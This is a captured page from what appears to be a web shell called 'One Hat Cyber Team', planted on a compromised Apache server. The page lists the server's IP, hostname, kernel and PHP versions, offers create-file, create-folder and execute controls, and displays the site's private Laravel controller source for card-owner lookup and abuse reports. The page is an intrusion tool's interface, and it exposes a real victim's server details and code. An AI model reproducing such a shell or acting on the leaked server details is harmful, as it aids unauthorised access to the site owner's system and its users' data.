⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.142
Server IP:
217.76.53.76
Server:
Linux vmi1397931.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
ppt.com.ng
/
app
/
Http
/
Controllers
/
View File Name :
MainController.php
[ 'name' => env('APP_NAME'), ], ]); } public function showUser($qrCode){ Artisan::call('sync:card_owner_expiry'); $user = CardOwner::where('qr_string',$qrCode)->with('created_by')->first(); $products = Product::whereUserId($user->user_id)->get(); $product_galleries = ProductGallery::whereUserId($user->user_id)->get(); $update = Update::whereUserId($user->user_id)->where('expires_at','>', now())->whereStatus('active')->orderByDesc('id')->first(); if(!$user){ return view('dashboard.home.user',[ 'page' => [ 'name' => 'Details', ], 'error' => 'It is either you have entered wrong or incorrect User ID. Please check again as this user is not in our database', ]); }else{ return view('dashboard.home.user',[ 'page' => [ 'name' => 'Details', ], 'user' => $user, 'products' => $products, 'update' => $update, 'product_galleries' => $product_galleries, 'abuse_features' => AbuseFeature::where('status','Active')->get(), ]); } } public function searchUser(Request $request){ $user = CardOwner::where('qr_string',$request['search'])->orWhere('phone',$request['search'])->first(); if(!$user){ return response()->json(['Errors' => ['Error' => 'It is either you have entered wrong or incorrect User ID. Please check again as this user is not in our database']],422); }else{ return response()->json([ 'location' => '/user/'.$user['qr_string'], 'abuse_features' => AbuseFeature::where('status','Active')->get(), 'message' => 'User Found. Redirecting Now' ]); } } public function printCard($token) { $user = CardOwner::where('token',$token)->first(); if(!$user) return response()->json(['Errors' => ['Error' => 'Invalid URL Provided']],422); return view('dashboard.users.print-card',[ 'type' => 'dashboard', 'icon' => ' ti ti-users', 'url' => '/'.\Session::get('user_route').'/users', 'name' => 'User', 'user' => $user, 'user_route' => \Session::get('user_route'), ]); } public function reportAbuse(Request $request, $qrCode) { $request->validate([ 'reporter_name' => 'required', 'phone' => 'required', 'place_name' => 'required', 'location' => 'required', ]); $user = CardOwner::where('qr_string',$qrCode)->first(); if (!$user){ return response()->json(['Errors' => ['Error' => 'It is either you have entered wrong or incorrect User ID. Please check again as this user is not in our database']],422); } $abuse = new Abuse(); $abuse['card_owner_id'] = $user['id']; $abuse['reporter_name'] = $request['reporter_name']; $abuse['reporter_phone'] = $request['phone']; $abuse['place_name'] = $request['place_name']; $abuse['location'] = $request['location']; $abuse['other'] = isset($request['other_abuse']); if(isset($request['other_abuse'])){ $abuse['other_abuse'] = $request['other_abuse_text']; } $abuse->save(); $abuse->abuse_features()->sync($request['abuse_feature']); return response()->json([ 'location' => '/', 'message' => 'Abuse Reported. Redirecting Now' ]); } }